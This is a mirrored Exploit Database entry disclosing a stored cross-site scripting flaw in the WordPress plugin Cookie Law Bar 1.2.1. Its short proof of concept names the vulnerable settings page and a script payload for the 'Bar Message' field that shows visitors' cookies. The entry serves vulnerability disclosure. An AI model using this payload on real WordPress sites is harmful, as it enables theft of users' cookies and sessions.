WordPress Plugin Cookie Law Bar 1.2.1 – ‘clb_bar_msg’ Stored Cross-Site Scripting (XSS)

• Exploit Database
• 17 阅读

• 作者： Mesut Cetin
  日期： 2021-05-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49905/

• # Exploit Title: WordPress Plugin Cookie Law Bar 1.2.1 - 'clb_bar_msg' Stored Cross-Site Scripting (XSS)
  # Date: 2021-05-24
  # Exploit Author: Mesut Cetin
  # Vendor Homepage: https://www.cookielawinfo.com/wordpress-plugin/
  # Software Link: https://wordpress.org/plugins/cookie-law-bar/
  # Version: 1.2.1
  # Tested on: Ubuntu 16.04 LTS, WordPress 5.7.2
  
  # the "Bar Message" text field is vulnerable to stored XSS due to unsanitized user input
  # an authenticated attacker can retrieve cookies / sensitive data of all WordPress users
  
  # proof of concept
  # navigate to the settings of the Cookie Law Bar under
  
  http://localhost/wp-admin/options-general.php?page=clb
  
  # inject the payload: </script><script>alert(document.cookie)</script> into the "Bar Message field" and save it
  
  # browsing through the WordPress pages shows the cookies